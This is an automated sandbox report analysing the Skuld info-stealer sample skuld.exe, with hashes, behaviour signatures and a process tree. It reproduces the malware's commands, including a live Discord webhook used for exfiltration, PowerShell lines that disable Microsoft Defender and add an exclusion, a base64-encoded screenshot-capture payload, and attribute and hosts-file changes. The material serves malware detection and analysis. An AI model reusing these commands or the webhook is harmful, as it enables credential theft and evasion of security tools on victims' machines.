Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    17-10-2024 02:21

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    6bcff50ee935d50c86234e4ead479e55

  • SHA1

    e777528a010585c232bb46f16c88cc9acae9220e

  • SHA256

    730ba784ff107f62110aaf728394377bf0ff607ac362ff1a32a3365b943a9ce6

  • SHA512

    654b0be7a93d0517351782f225d3c83664672a33851960907ecc84b89b095bc8b7e2d44e4732c09a77ce6281275dde5723fa43e641909a418706f0d5c870af5c

  • SSDEEP

    98304:G4bwKrv8PbnZEFUSpARbdUyl9nFwCg8O8rEqG5BJZrZ6Tc0xHaA:G4bv8PdfssdUylxFwCg8O84fAc0xHf

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:2328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:492
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4816
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3856
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:1540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\smylgnlb\smylgnlb.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7E67.tmp" "c:\Users\Admin\AppData\Local\Temp\smylgnlb\CSC657B3035E7364648A8AF35FB72231A3.TMP"
            4⤵
              PID:4684
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:4392
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:3844

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        8592ba100a78835a6b94d5949e13dfc1

        SHA1

        63e901200ab9a57c7dd4c078d7f75dcd3b357020

        SHA256

        fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

        SHA512

        87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        b2083fa377d785be1b53ee6161eb3f25

        SHA1

        54a6ca6b88671611543b56a0d0af867dcb5f570e

        SHA256

        e0ed4e293682ba2720be0a44aba04a0afcbce424bdea807ebcb5f72875d94f12

        SHA512

        bbec0e615050bfe22f20f74cf43950bc139a83a6b5d05b2c00d941094218c10ca01c57853348b205b0fba7c08dd83095c262b5795f78499b7ccdb8c5cf17c57f

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        c2e6c6a0c5a5c311debd8c49dd77a0e9

        SHA1

        aa5b324cae49ea40a6296400be0be907e3401c7e

        SHA256

        335c450a134b1f79bb569de5f6230852276f50e9dbe51ef0d958c9f95024da08

        SHA512

        58842e97fb99c691aa014163c62ae47a4dbef01b40fe532fdc06c6f9978fd151a04f95f0f1e642a750bc4d1dc69a636bc49eb8c59ab7a1c9a97007df2faf632f

      • C:\Users\Admin\AppData\Local\Temp\RES7E67.tmp

        Filesize

        1KB

        MD5

        ec0c998b010ed7da04ec7304e96228c7

        SHA1

        4c4d65b7cae0e965da9997971861222232f781cd

        SHA256

        94f3c1ea2059d99b118cb4740c8e9bed16bc99c41a1b3c391f2f7ab3202f81ea

        SHA512

        b144a544be513225f41c2828c468433db0ae0ce0a7e13454103f322bb113602d83de638ea07183e23368bf42a64e1934aba826461aba333a85ba7fa9ee3fb0ac

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wyhxul4u.krx.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • C:\Users\Admin\AppData\Local\Temp\cjozzgAH0N\Display (1).png

        Filesize

        405KB

        MD5

        7e88f2bf81124974ee0310f766d7c3b1

        SHA1

        c6ac39e10c4de2b13ad2a0a96bbfbc6eb5032ceb

        SHA256

        d745c7126df5f1c8a13324a55d7c2f008546ece82c8d093ba869f04f6afe39b3

        SHA512

        291ff2c0498c62f9fe0d19cbca8c7ffaa1d1575b5df436e48824cc2a524eef85404f5e81dfb85fd91091860fbc42c25b9d83d39f90cbea5a8a8f101b58b10b44

      • C:\Users\Admin\AppData\Local\Temp\smylgnlb\smylgnlb.dll

        Filesize

        4KB

        MD5

        e7b06ee81811b49ca8a22d90bcdee3a2

        SHA1

        ecb55b325d590e7006b3748536a1a9e19480444e

        SHA256

        8f239a127fe953e20e5aa4088ca33283d6b680c1659f6b6120d877b73b38667d

        SHA512

        0131df5bfb272a7458d128ed9ece7c18844f19276565cda4f5cdcdcb3747bb304a53f16cc6b6f0fb92738667230ffba1fc8a28b846e80ce9f09dcdcd40b17f78

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.8MB

        MD5

        6bcff50ee935d50c86234e4ead479e55

        SHA1

        e777528a010585c232bb46f16c88cc9acae9220e

        SHA256

        730ba784ff107f62110aaf728394377bf0ff607ac362ff1a32a3365b943a9ce6

        SHA512

        654b0be7a93d0517351782f225d3c83664672a33851960907ecc84b89b095bc8b7e2d44e4732c09a77ce6281275dde5723fa43e641909a418706f0d5c870af5c

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        29637f421cb5eb9a9008b5b091823270

        SHA1

        8bb0b01ef0035a029c4ba8f6814db41fba1e716a

        SHA256

        d3925354d35ce50360d165ece7ab2d44ee49a7aaac7f297ad8f2192249432a46

        SHA512

        08a1efeaf082525439af8abfb117d3473ab23da5a4db276bdb49eb4a62db8ae2e14e6333c897753a22855a3c45beb413c3eafc98c2a46142c75297ce4d563665

      • \??\c:\Users\Admin\AppData\Local\Temp\smylgnlb\CSC657B3035E7364648A8AF35FB72231A3.TMP

        Filesize

        652B

        MD5

        1e25239f3a93652aa38e4a8891ecebd2

        SHA1

        7dda5c2ab424227b7fa0d836604e3bf8b08ecadd

        SHA256

        192470e378cf94d67a5dbc03132b0a12866419316bcd3d456f18915130dd26e6

        SHA512

        d12378b5b8951bdcb069512c712f14351e5adcc5c4b248ac0d0768a126ecccd441514fa18f3cc0c3c5f763cc147d10923f1dbd091537901f3ed9fc8a397ef2c9

      • \??\c:\Users\Admin\AppData\Local\Temp\smylgnlb\smylgnlb.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\smylgnlb\smylgnlb.cmdline

        Filesize

        607B

        MD5

        0b17852e637407aaff40d088297b8150

        SHA1

        def52c9e1a728b3e28aeeb061aa812f8b00238b0

        SHA256

        d36d712f66bb617998c4e148c6debe9134e9240fad23178ff574b21b18000bc3

        SHA512

        b54281289d4f239dd4ef70f95f2d48bef066a46eb185b9d7cf6362f654b38752255e281665d14d71670f2875a055b1191cc84fbb55290dee463a681bca2e54f3

      • memory/492-54-0x00007FFEEB410000-0x00007FFEEBDFC000-memory.dmp

        Filesize

        9.9MB

      • memory/492-0-0x00007FFEEB413000-0x00007FFEEB414000-memory.dmp

        Filesize

        4KB

      • memory/492-12-0x00007FFEEB410000-0x00007FFEEBDFC000-memory.dmp

        Filesize

        9.9MB

      • memory/492-10-0x00000204401C0000-0x0000020440236000-memory.dmp

        Filesize

        472KB

      • memory/492-11-0x00007FFEEB410000-0x00007FFEEBDFC000-memory.dmp

        Filesize

        9.9MB

      • memory/492-7-0x0000020440010000-0x0000020440032000-memory.dmp

        Filesize

        136KB

      • memory/4892-175-0x000001DCEECC0000-0x000001DCEECC8000-memory.dmp

        Filesize

        32KB